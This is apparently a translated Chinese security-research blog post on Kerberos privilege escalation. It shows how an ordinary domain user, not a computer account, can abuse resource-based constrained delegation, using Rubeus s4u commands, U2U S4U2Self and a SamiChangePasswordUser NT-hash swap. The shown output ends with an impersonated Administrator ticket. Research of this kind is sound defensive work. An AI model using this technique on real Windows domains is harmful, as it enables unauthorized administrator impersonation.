利用普通用户账户攻击RBCD:Kerberos权限提升新方法

本文详细介绍了如何通过普通用户账户利用基于资源的约束委派(RBCD)进行Kerberos权限提升攻击,包括技术原理、攻击步骤和实际演示,重点分析了S4U2Self和S4U2Proxy阶段的挑战及解决方案。

利用普通用户账户攻击RBCD*

*存在注意事项

基于资源的约束委派(RBCD)权限提升技术,由Elad Shamir在"Wagging the Dog"博客文章中首次描述,是一种利用Kerberos协议在本地Windows机器上提升权限的巧妙方法。该技术只需要对本地计算机的域账户具有写权限,以修改msDS-AllowedToActOnBehalfOfOtherIdentity LDAP属性来添加其他账户的SID。然后,您可以使用该账户通过服务为用户(S4U)协议获取本地机器的Kerberos服务票据,作为域中的任何用户(包括本地管理员)。之后,您可以创建新服务或执行其他所需操作。

关键问题是如何在本地计算机的域账户下写入LDAP服务器。已有多种方法通常滥用身份验证中继。例如,我描述过一种滥用DCOM的中继向量。其他人随后将其整合到一个交钥匙工具KrbRelayUp中。

此攻击的另一个条件是能够访问另一个计算机账户来执行攻击。严格来说这并不完全正确,因为存在影子凭证攻击允许您重用相同的本地计算机账户,但通常您需要一个您控制的计算机账户。通常这不是问题,因为域控制器允许普通用户创建新的计算机账户,最多可达域的ms-DS-MachineAccountQuota属性值设置的限制。此属性默认值为10,但管理员可以将其设置为0并阻止攻击,这可能是推荐的。

但我想知道为什么这不能作为普通用户工作。msDS-AllowedToActOnBehalfOfOtherIdentity属性只需要允许委派到计算机的账户的SID。为什么我们不能直接添加用户的SID并执行S4U流程?为了给我们最好的机会,我假设我们知道用户的密码,您如何获得这完全取决于您。通过Rubeus运行攻击显示了我们的问题。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PS C:\> Rubeus.exe s4u /user:charlie /domain:domain.local /dc:primarydc.domain.local /rc4:79bf93c9501b151506adc21ba0397b33 /impersonateuser:Administrator /msdsspn:cifs/WIN10TEST.domain.local
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.3

[*] Action: S4U
[*] Using rc4_hmac hash: 79bf93c9501b151506adc21ba0397b33
[*] Building AS-REQ (w/ preauth) for: 'domain.local\charlie'
[*] Using domain controller: 10.0.0.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
      doIFc...
[*] Action: S4U
[*] Building S4U2self request for: 'charlie@DOMAIN.LOCAL'
[*] Using domain controller: primarydc.domain.local (10.0.0.10)
[*] Sending S4U2self request to 10.0.0.10:88
[X] KRB-ERROR (7) : KDC_ERR_S_PRINCIPAL_UNKNOWN
[X] S4U2Self failed, unable to perform S4U2Proxy.

我们甚至无法通过攻击的第一个S4U2Self阶段,它以KDC_ERR_S_PRINCIPAL_UNKNOWN错误失败。此错误通常表示KDC不知道使用什么加密密钥来生成票据。但是,如果您向用户账户添加SPN,则一切都会成功。这意味着问题不在于用户账户本身,而是KDC无法选择正确密钥的问题。

从技术上讲,如果您请求其UPN的票据,KDC没有理由不能使用用户的长期密钥,但它没有(与我前几天在/r/netsec上与某人的争论相反,该人坚持认为SPN是便利性而不是Kerberos的基本要求)。

那么该怎么办?有一种通过使用用户到用户(U2U)扩展来获取为UPN加密的票据的方法。这在这里会起作用吗?查看Rubeus代码,似乎支持请求U2U S4U2Self票据,但未为S4U攻击设置参数。让我们设置这些参数以请求U2U票据,看看是否有效。

1
2
3
4
5
6
7
8
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'charlie@DOMAIN.LOCAL'
[*] base64(ticket.kirbi): doIF...bGll
[*] Impersonating user 'Administrator' to target SPN 'cifs/WIN10TEST.domain.local'
[*] Building S4U2proxy request for service: 'cifs/WIN10TEST.domain.local'
[*] Using domain controller: primarydc.domain.local (10.0.0.10)
[*] Sending S4U2proxy request to domain controller 10.0.0.10:88
[X] KRB-ERROR (13) : KDC_ERR_BADOPTION

好的,我们越来越近了。S4U2Self请求成功,但不幸的是S4U2Proxy请求没有成功,以KDC_ERR_BADOPTION错误失败。经过一些尝试,这几乎可以肯定是因为KDC无法解密S4U2Proxy请求中发送的票据。它将尝试用户的长期密钥,但这显然会失败。我尝试查看是否可以随请求发送用户的TGT(除了S4U2Self服务票据之外),但仍然失败。这是不可能的吗?

再思考一下,我想知道,我能否解密S4U2Self票据,然后用我已经知道的用户的长期密钥重新加密?从技术上讲,这将创建一个有效的Kerberos票据,但不会创建有效的PAC。这是因为PAC包含一个服务器签名,该签名是使用用于加密票据的密钥对PAC进行的HMAC。KDC检查此签名以确保PAC未被修改或放入新票据中,如果不正确,请求将失败。

由于我们知道密钥,我们可以更新此值。但是,服务器签名受KDC签名保护,该签名是使用KDC自己的密钥进行密钥处理的HMAC。我们不知道此密钥,因此无法更新第二个签名以匹配修改后的服务器签名。看起来我们被卡住了。

尽管如此,如果用户的长期密钥恰好与我们用于加密S4U2Self票据的TGT会话密钥匹配,会发生什么?偶然发生的情况非常不可能,但通过了解用户的密码,我们可以在S4U2Self和S4U2Proxy请求之间在域控制器上更改用户的密码,以便在提交票据时KDC可以解密它,也许我们可以成功获取委派票据。

由于我们知道TGT的会话密钥,一种明显的方法是“破解”哈希值回到有效的Unicode密码。对于AES密钥,我认为这将很困难,即使成功也可能耗时。然而,RC4密钥只是MD4哈希,没有额外的防止暴力破解的保护。幸运的是,Rubeus中的代码默认请求TGT的RC4会话密钥,并且微软尚未在Windows域中默认禁用RC4。这似乎可行,即使需要很长时间。我们还需要“破解”的密码符合域的密码策略,这增加了额外的复杂性。

但是,我记得在使用SAM RPC API时,有一个SamrChangePasswordUser方法,可以将用户的密码更改为任意NT哈希。唯一的要求是了解现有的NT哈希,我们可以设置任何我们喜欢的新NT哈希。这不需要遵守密码策略,除了最短年龄设置。我们甚至不需要处理如何正确调用RPC API,因为SAM DLL导出了完成所有困难工作的SamiChangePasswordUser API。

我采用了一些由Vincent Le Toux编写的示例C#代码,并将其插入到Rubeus的正确位置,将当前TGT的会话密钥作为新的NT哈希传递。让我们看看是否有效:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
SamConnect OK
SamrOpenDomain OK
rid is 1208
SamOpenUser OK
SamiChangePasswordUser OK
[*] Impersonating user 'Administrator' to target SPN 'cifs/WIN10TEST.domain.local'
[*] Building S4U2proxy request for service: 'cifs/WIN10TEST.domain.local'
[*] Using domain controller: primarydc.domain.local (10.0.0.10)
[*] Sending S4U2proxy request to domain controller 10.0.0.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/WIN10TEST.domain.local':
      doIG3...

它确实有效!现在注意事项:

  • 这显然只在域上仍启用RC4时才有效。
  • 您需要用户的密码或NT哈希。我想不出仅凭有效TGT就能做到这一点的方法。
  • 用户是牺牲性的,之后可能很难使用密码登录。
  • 如果由于域的策略而无法立即重置密码,用户可能完全损坏。
  • 这不是很隐蔽,但这不是我的问题。
  • 如果启用了PKINIT,您可能最好只进行影子凭证攻击。

由于我懒得,我不会提供对Rubeus的更改。除了调用SamiChangePasswordUser之外,执行攻击的所有代码已经存在,只需要连接起来。我相信他们会欢迎这个补充。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计